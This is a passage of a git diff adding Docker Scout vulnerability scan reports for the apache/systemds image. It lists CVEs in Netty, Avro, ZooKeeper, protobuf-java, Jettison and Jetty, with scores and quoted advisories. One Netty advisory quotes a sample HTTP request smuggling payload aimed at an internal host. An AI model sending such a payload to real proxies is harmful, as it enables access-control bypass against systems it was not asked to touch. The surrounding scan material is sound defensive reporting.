+ +Description +There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. + + +Vulnerability details +The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. + + +Impact +Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. + + +Patches +The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. + + +Patched releases: + + * 9.4.54 + * 10.0.18 + * 11.0.18 + * 12.0.3 + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.commons/commons-lang3 3.12.0 (maven) + +pkg:maven/org.apache.commons/commons-lang3@3.12.0
+medium 6.5: CVE--2025--48924 Uncontrolled Recursion + + + + + + + + +
Affected range>=3.0
<3.18.0
Fixed version3.18.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.014%
EPSS Percentile2nd percentile
+ +
Description +
+ +Uncontrolled Recursion vulnerability in Apache Commons Lang. + +This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. + +The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. + +Users are recommended to upgrade to version 3.18.0, which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 0 low: 2 busybox 1.36.1-r29 (apk) + +pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
+low : CVE--2025--46394 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.017%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2024--58251 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.020%
EPSS Percentile4th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) + +pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
+low 2.0: CVE--2024--23454 Improper Privilege Management + + + + + + + + +
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.037%
EPSS Percentile11th percentile
+ +
Description +
+ +Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. + +
+
+
+
critical: 0 high: 0 medium: 0 low: 1 org.eclipse.jetty/jetty-xml 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-xml@9.4.51.v20230217
+low 3.9: GHSA--58qw--p7qm--5rvh Improper Restriction of XML External Entity Reference + + + + + + +
Affected range<=9.4.51
Fixed version9.4.52.v20230823
CVSS Score3.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L
+ +
Description +
+ +### From the reporter + +> `XmlParser` is vulnerable to XML external entity (XXE) vulnerability. +> XmlParser is being used when parsing Jetty’s xml configuration files. An attacker might exploit +> this vulnerability in order to achieve SSRF or cause a denial of service. +> One possible scenario is importing a (remote) malicious WAR into a Jetty’s server, while the +> WAR includes a malicious web.xml. + +### Impact +There are no circumstances in a normally deployed Jetty server where potentially hostile XML is given to the XmlParser class without the attacker already having arbitrary access to the server. I.e. in order to exploit `XmlParser` the attacker would already have the ability to deploy and execute hostile code. Specifically, Jetty has no protection against malicious web application and potentially hostile web applications should only be run on an isolated virtualisation. + +Thus this is not considered a vulnerability of the Jetty server itself, as any such usage of the jetty XmlParser is equally vulnerable as a direct usage of the JVM supplied SAX parser. No CVE will be allocated to this advisory. + +However, any direct usage of the `XmlParser` class by an application may be vulnerable. The impact would greatly depend on how the application uses `XmlParser`, but it could be a denial of service due to large entity expansion, or possibly the revealing local files if the XML results are accessible remotely. + +### Patches +Ability to configure the SAXParserFactory to fit the needs of your particular XML parser implementation have been merged as part of PR #10067 + +### Workarounds +Don't use `XmlParser` to parse data from users. + + + + +
+
+
+
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) + +pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
+unspecified : CVE--2025--62813 + + + + + + +
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+
+ diff --git a/docker/scout_results/zookeeper/sysds_output2.md b/docker/scout_results/zookeeper/sysds_output2.md new file mode 100644 index 00000000000..699b1e22ec7 --- /dev/null +++ b/docker/scout_results/zookeeper/sysds_output2.md @@ -0,0 +1,2950 @@ +

:mag: Vulnerabilities of apache/systemds:latest

+ +
:package: Image Reference apache/systemds:latest + + + + + +
digestsha256:9da076e93812ea6ae0ae83cb0e03e08f89297c7be5929e48b4c61349719cf40a
vulnerabilitiescritical: 4 high: 29 medium: 39 low: 9 unspecified: 1
platformlinux/amd64
size362 MB
packages350
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) + +pkg:maven/io.netty/netty@3.10.6.Final
+critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score4.167%
EPSS Percentile88th percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." + +
+
+ +high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.715%
EPSS Percentile72nd percentile
+ +
Description +
+ +### Impact +The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. + +This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. + +### Impact + +All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. + +### References +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 + +
+
+ +high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.302%
EPSS Percentile53rd percentile
+ +
Description +
+ +### Impact +The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). + + +All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack + +### Workarounds +No workarounds other than not using the `Bzip2Decoder` + +### References + +Relevant code areas: + +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 + +
+
+ +medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.200%
EPSS Percentile42nd percentile
+ +
Description +
+ +### Impact + +Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. + +Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. + + + +
+
+ +medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.022%
EPSS Percentile5th percentile
+ +
Description +
+ +### Impact + +When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. + +The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) + +### Vulnerability Details + +On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. + +The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. + +This is the case in netty's `AbstractDiskHttpData` is vulnerable. + +https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 + +`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. + +You may be affected by this vulnerability your project contains the following code patterns: + +```java +channelPipeline.addLast(new HttpPostRequestDecoder(...)); +``` + +```java +channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); +``` + +### Patches + +This has been patched in version `4.1.59.Final`. + +### Workarounds + +Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. + +### References + + - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) + - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) + +### Similar Vulnerabilities + +Similar, but not the same. + + - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp + - Google Guava - https://github.com/google/guava/issues/4011 + - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 + - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 + +### For more information +If you have any questions or comments about this advisory: +* Open an issue in [netty](https://github.com/netty/netty) +* Email us [here](mailto:netty-security@googlegroups.com) + +### Original Report + +> Hi Netty Security Team, +> +> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: +> https://lgtm.com/query/7723301787255288599/ +> +> Netty contains three local information disclosure vulnerabilities, so far as I can tell. +> +> One is here, where the private key for the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 +> +> One is here, where the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 +> +> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 +> +> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. +> +> Impacted OS: +> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. +> +> Mitigation. +> +> Moving to the `Files` API instead will fix this vulnerability. +> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- +> +> This API will explicitly set the posix file permissions to something safe, by default. +> +> I recently disclosed a similar vulnerability in JUnit 4: +> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp +> +> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. +> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 +> +> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. +> https://github.com/netty/netty/security/advisories +> +> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. +> +> Cheers, +> Jonathan Leitschuh + +
+
+ +medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score4.983%
EPSS Percentile89th percentile
+ +
Description +
+ +### Impact +The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 + +This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. + +### Patches +This was fixed as part of 4.1.61.Final + +### Workarounds +Validation can be done by the user before proxy the request by validating the header. + +
+
+ +medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.961%
EPSS Percentile76th percentile
+ +
Description +
+ +### Impact +If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. +If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. + +In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. + +An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: + +``` +POST / HTTP/2 +:authority:: externaldomain.com +Content-Length: 4 + +asdfGET /evilRedirect HTTP/1.1 +Host: internaldomain.com +``` + +Users are only affected if all of this is `true`: + * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used + * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects + * These HTTP/1.1 objects are forwarded to another remote peer. + + +### Patches +This has been patched in 4.1.60.Final + +### Workarounds +The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. + +### References +Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 + +
+
+ +medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score0.963%
EPSS Percentile76th percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. + +
+
+
+
critical: 1 high: 1 medium: 0 low: 0 org.apache.avro/avro 1.11.2 (maven) + +pkg:maven/org.apache.avro/avro@1.11.2
+critical 9.3: CVE--2024--47561 Deserialization of Untrusted Data + + + + + + + + +
Affected range<1.11.4
Fixed version1.11.4
CVSS Score9.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS Score0.489%
EPSS Percentile65th percentile
+ +
Description +
+ +Schema parsing in the Java SDK of Apache Avro 1.11.3 and previous versions allows bad actors to execute arbitrary code. +Users are recommended to upgrade to version 1.11.4 or 1.12.0, which fix this issue. + +
+
+ +high 7.5: CVE--2023--39410 Improper Input Validation + + + + + + + + +
Affected range<1.11.3
Fixed version1.11.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.061%
EPSS Percentile19th percentile
+ +
Description +
+ +When deserializing untrusted or corrupted data, it is possible for a reader to consume memory beyond the allowed constraints and thus lead to out of memory on the system. + +This issue affects Java applications using Apache Avro Java SDK up to and including 1.11.2. Users should update to apache-avro version 1.11.3 which addresses this issue. + +
+
+
+
critical: 1 high: 0 medium: 1 low: 0 org.apache.zookeeper/zookeeper 3.6.3 (maven) + +pkg:maven/org.apache.zookeeper/zookeeper@3.6.3
+critical 9.1: CVE--2023--44981 Authorization Bypass Through User-Controlled Key + + + + + + + + +
Affected range<3.7.2
Fixed version3.7.2
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score0.036%
EPSS Percentile11th percentile
+ +
Description +
+ +Authorization Bypass Through User-Controlled Key vulnerability in Apache ZooKeeper. If SASL Quorum Peer authentication is enabled in ZooKeeper (quorum.auth.enableSasl=true), the authorization is done by verifying that the instance part in SASL authentication ID is listed in zoo.cfg server list. The instance part in SASL auth ID is optional and if it's missing, like 'eve@EXAMPLE.COM', the authorization check will be skipped. As a result an arbitrary endpoint could join the cluster and begin propagating counterfeit changes to the leader, essentially giving it complete read-write access to the data tree. Quorum Peer authentication is not enabled by default. + +Users are recommended to upgrade to version 3.9.1, 3.8.3, 3.7.2, which fixes the issue. + +Alternately ensure the ensemble election/quorum communication is protected by a firewall as this will mitigate the issue. + +See the documentation for more details on correct cluster administration. + +
+
+ +medium 5.3: CVE--2024--23944 Exposure of Sensitive Information to an Unauthorized Actor + + + + + + + + +
Affected range>=3.6.0
<=3.7.2
Fixed versionNot Fixed
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
EPSS Score0.028%
EPSS Percentile7th percentile
+ +
Description +
+ +Information disclosure in persistent watchers handling in Apache ZooKeeper due to missing ACL check. It allows an attacker to monitor child znodes by attaching a persistent watcher (addWatch command) to a parent which the attacker has already access to. ZooKeeper server doesn't do ACL check when the persistent watcher is triggered and as a consequence, the full path of znodes that a watch event gets triggered upon is exposed to the owner of the watcher. It's important to note that only the path is exposed by this vulnerability, not the data of znode, but since znode path can contain sensitive information like user name or login ID, this issue is potentially critical. + +Users are recommended to upgrade to version 3.9.2, 3.8.4 which fixes the issue. + +
+
+
+
critical: 1 high: 0 medium: 0 low: 0 org.apache.kerby/kerb-admin 1.0.1 (maven) + +pkg:maven/org.apache.kerby/kerb-admin@1.0.1
+critical 9.8: CVE--2023--25613 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<2.0.3
Fixed version2.0.3
CVSS Score9.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.189%
EPSS Percentile41st percentile
+ +
Description +
+ +An LDAP Injection vulnerability exists in the LdapIdentityBackend of Apache Kerby before 2.0.3.  + +
+
+
+
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) + +pkg:maven/com.google.protobuf/protobuf-java@3.7.1
+high 8.7: CVE--2024--7254 Improper Input Validation + + + + + + + + +
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.055%
EPSS Percentile18th percentile
+ +
Description +
+ +### Summary +When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. + +Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team + +Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +### Severity +[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) +This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. + +### Proof of Concept +For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. + +### Remediation and Mitigation +We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: +* protobuf-java (3.25.5, 4.27.5, 4.28.2) +* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) +* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) + +
+
+ +high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile23rd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile34th percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2021--22569 Incorrect Behavior Order + + + + + + + + +
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
+ +
Description +
+ +## Summary + +A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. + +Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) + +Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. + +## Severity + +[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. + +## Proof of Concept + +For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +- protobuf-java (3.16.1, 3.18.2, 3.19.2) +- protobuf-kotlin (3.18.2, 3.19.2) +- google-protobuf [JRuby gem only] (3.19.2) + + +
+
+ +medium 5.7: CVE--2022--3171 Improper Input Validation + + + + + + + + +
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.104%
EPSS Percentile29th percentile
+ +
Description +
+ +## Summary +A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. + +Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) + +Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +## Severity + +[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) + + +
+
+ +medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
+ +
Description +
+ +Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. + +
+
+
+
critical: 0 high: 4 medium: 1 low: 0 org.codehaus.jettison/jettison 1.1 (maven) + +pkg:maven/org.codehaus.jettison/jettison@1.1
+high 7.5: CVE--2023--1436 Uncontrolled Recursion + + + + + + + + +
Affected range<1.5.4
Fixed version1.5.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.024%
EPSS Percentile6th percentile
+ +
Description +
+ +An infinite recursion is triggered in Jettison when constructing a JSONArray from a Collection that contains a self-reference in one of its elements. This leads to a StackOverflowError exception being thrown. + +
+
+ +high 7.5: CVE--2022--45693 Out-of-bounds Write + + + + + + + + +
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.135%
EPSS Percentile34th percentile
+ +
Description +
+ +Jettison before v1.5.2 was discovered to contain a stack overflow via the map parameter. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted string. + +
+
+ +high 7.5: CVE--2022--45685 Out-of-bounds Write + + + + + + + + +
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile34th percentile
+ +
Description +
+ +A stack overflow in Jettison before v1.5.2 allows attackers to cause a Denial of Service (DoS) via crafted JSON data. + +
+
+ +high 7.5: CVE--2022--40150 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.055%
EPSS Percentile17th percentile
+ +
Description +
